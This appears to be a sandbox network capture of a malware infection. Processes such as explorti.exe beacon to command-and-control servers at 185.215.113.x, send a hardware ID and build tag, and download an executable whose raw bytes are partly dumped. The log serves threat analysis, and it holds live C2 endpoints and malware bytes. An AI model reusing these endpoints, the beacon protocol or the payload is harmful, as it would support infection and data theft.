Sep 1, 2024 01:30:04.193959951 CEST	1236	IN	Data Raw: b0 67 22 3a b3 73 31 c4 d6 7a 1f 14 10 b2 8a 3b da 0d 85 1e d7 5e 0d 27 c6 85 4f 52 82 aa 89 1c 5e 08 21 30 5a 5b 55 23 a0 67 20 66 a0 73 22 cd 99 86 5f f2 68 86 3b 1b 5e f7 20 db 42 ca a8 36 9c c6 7b 9c e6 36 19 a6 c3 24 65 c1 db 72 83 dd b7 c5 Data Ascii: g":s1z;^'OR^!0Z[U#g fs"_h;^ B6{6$er2C7+kBi.sj~,)MQe 'U~OmK;eMy9":23%p:aid"K1
Sep 1, 2024 01:30:04.193968058 CEST	224	IN	Data Raw: aa 15 20 f0 e8 6a 79 a1 e9 92 34 71 9d cc 40 f4 bf 90 0c c4 db 8d c3 44 40 23 91 bc 9c eb 34 db 88 80 81 86 9a 08 e9 ee b0 cb 06 9e 30 2b 41 5b 27 09 67 94 f9 c7 19 a2 d9 8b 50 34 7e 4e 1a de 99 d3 94 d7 b7 2a 1d 84 81 d7 88 ea d5 12 7f c2 a2 df Data Ascii: jy4q@D@#40+A['gP4~N* tt!aG"&E"YHDM2fgu0w2Iv!Ji%q!3f^*Xtqk"Nq!.f
Sep 1, 2024 01:30:04.193979025 CEST	1236	IN	Data Raw: 5e 6c c5 db 8c 0a 69 31 82 5b 89 03 7d 2b c7 26 82 5f 51 a9 69 87 54 2c e0 cb ca 7e 4b d2 1d 8c 89 47 92 f8 8a 27 c1 5a e5 e6 34 9a 8a 37 4c c1 57 9b 7e a4 82 13 05 aa b2 db 21 df 5a 27 42 c7 fd c1 19 ca 82 35 1d aa c0 4f f2 7a 15 1a 4f 22 eb 8d Data Ascii: ^li1[}+&_QiT,~KG'Z47LW~!Z'B5OzO"5[/v.Zy_;#&~Z12>&@X -N \!Zq2a""".l^Z/OM1F6]1F!bO&yN'II),%
Sep 1, 2024 01:30:04.198893070 CEST	1236	IN	Data Raw: b7 c4 d8 80 f1 fd ce 76 b7 26 45 9a 8a bc f5 a6 b6 a3 aa 7c 15 82 1a f8 8d 1b 65 5b ef ef b1 a9 11 0b 8e 20 b6 b3 ce 22 f7 97 1c a9 b2 12 85 5b c6 c5 ab 3d d0 1a dd a1 c8 1f 51 f6 d8 c1 ec c2 d6 28 ef 89 81 0b 16 22 be c7 27 ae 32 1a 2a ae a1 87 Data Ascii: v&E\|e[ "[=Q("'2*(QZK(V_]:w)sV)$5`2^svqL/ =qE'rU!ZCB$"n^C6Wy4IrI>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:06.565749884 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 31 30 30 30 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000051000&unit=246122658369
Sep 1, 2024 01:30:07.313247919 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	185.215.113.16	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:07.320930004 CEST	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sat, 31 Aug 2024 22:58:27 GMT If-None-Match: "66d3a013-1b5400"
Sep 1, 2024 01:30:08.092283964 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:07 GMT Last-Modified: Sat, 31 Aug 2024 22:58:27 GMT Connection: keep-alive ETag: "66d3a013-1b5400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	185.215.113.100	80	7060	C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:08.800530910 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:30:09.539001942 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:30:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:30:09.546627998 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 42 38 31 44 43 33 33 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 2d 2d 0d 0a Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="hwid"DAEB81DC33231817704571------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="build"leva------HIJEGIIJDGHDGCBGHCAA--
Sep 1, 2024 01:30:09.792448044 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:30:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:08.971029043 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 32 30 30 30 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000052000&unit=246122658369
Sep 1, 2024 01:30:09.719652891 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	185.215.113.16	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:09.727852106 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 1, 2024 01:30:10.492872953 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:10 GMT Content-Type: application/octet-stream Content-Length: 917504 Last-Modified: Sat, 31 Aug 2024 23:16:24 GMT Connection: keep-alive ETag: "66d3a448-e0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3f a4 d3 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 50 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL?f"Pw@`\|@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Sep 1, 2024 01:30:10.492911100 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Sep 1, 2024 01:30:10.492921114 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Sep 1, 2024 01:30:10.492949963 CEST	672	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Sep 1, 2024 01:30:10.492959976 CEST	1236	IN	Data Raw: 27 ff d6 53 6a 11 88 47 28 ff d6 53 6a 12 88 47 24 ff d6 88 47 25 5f 5e 5b c3 55 8b ec 51 57 33 ff 8d 45 fc 57 50 57 68 00 20 00 00 89 7d fc ff 15 f0 c5 49 00 8b 45 fc 6a 02 57 57 68 01 20 00 00 a3 94 25 4d 00 ff 15 f0 c5 49 00 5f c9 c3 55 8b ec Data Ascii: 'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PMXMtIhFM2j3YYuj5%Mjh I\M]3@Usy!xwJxnEP
Sep 1, 2024 01:30:10.492969990 CEST	1236	IN	Data Raw: 33 c9 83 fe 2b 0f 94 c1 8b 44 88 08 66 83 78 08 47 75 42 8d 41 03 89 45 f8 8d 45 fc 53 50 8d 45 e8 50 8d 45 f8 50 57 e8 1b 44 00 00 85 c0 0f 88 a2 06 04 00 8d 4d e8 e8 6e 77 00 00 8b 55 fc e9 25 ff ff ff b9 6c 15 4d 00 e8 63 08 00 00 33 c0 5f 5e Data Ascii: 3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@M_^[I
Sep 1, 2024 01:30:10.492980957 CEST	1236	IN	Data Raw: 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 f9 01 00 00 8d 4d a8 e8 f1 01 00 00 8d 8d 54 ff ff ff e8 e6 01 00 00 8d 4d 9c e8 de 01 00 00 5f 8b c6 5e 5b c9 c3 83 e8 04 0f 84 ca 03 04 00 83 e8 01 0f 84 Data Ascii: xl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]
Sep 1, 2024 01:30:10.492991924 CEST	1236	IN	Data Raw: 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 44 24 12 8d 44 24 14 50 8d 84 24 3c 00 01 00 50 Data Ascii: 3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]
Sep 1, 2024 01:30:10.493002892 CEST	1236	IN	Data Raw: 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d 00 38 5d 0b 75 0a c7 05 00 14 4d 00 03 00 00 00 Data Ascii: Wh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MK
Sep 1, 2024 01:30:10.493015051 CEST	640	IN	Data Raw: 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 b8 3c 00 01 00 e8 f3 ea 03 00 8b 45 08 8d 4c 24 1c 53 33 db a3 94 23 4d 00 56 b8 34 cc 49 00 66 89 1d 90 23 4d 00 57 88 1d 92 23 4d 00 89 1d 98 23 4d 00 89 Data Ascii: 3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h
Sep 1, 2024 01:30:10.497931957 CEST	1236	IN	Data Raw: 65 00 00 b9 cc 19 4d 00 e8 9f 72 00 00 b9 dc 19 4d 00 e8 95 72 00 00 b9 ec 19 4d 00 e8 8b 72 00 00 a1 ac 19 4d 00 be 34 1a 4d 00 a3 fc 19 4d 00 a1 b0 19 4d 00 a3 00 1a 4d 00 a1 b4 19 4d 00 a3 04 1a 4d 00 a1 b8 19 4d 00 a3 08 1a 4d 00 6a 0f 5f ff Data Ascii: eMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud#MM_^f$M(M,M0M4M8M<M@M`#M[UVu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:12.826718092 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000053001&unit=246122658369
Sep 1, 2024 01:30:13.565071106 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:14.304709911 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:15.017096996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:15.283771038 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:15.529829025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49727	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:15.949024916 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:16.699892998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:16.705703974 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:16.951427937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:17.065654993 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:17.833738089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:17.835131884 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:18.086903095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49733	185.215.113.100	80	5808	C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:17.099374056 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:30:17.858433008 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:30:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:30:17.863852978 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 42 38 31 44 43 33 33 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"DAEB81DC33231817704571------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build"leva------EGCBFIEHIEGCAAAKKKKE--
Sep 1, 2024 01:30:18.118992090 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:30:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49740	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:18.210007906 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:18.944920063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:19.047310114 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:19.293776989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49747	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:19.438733101 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
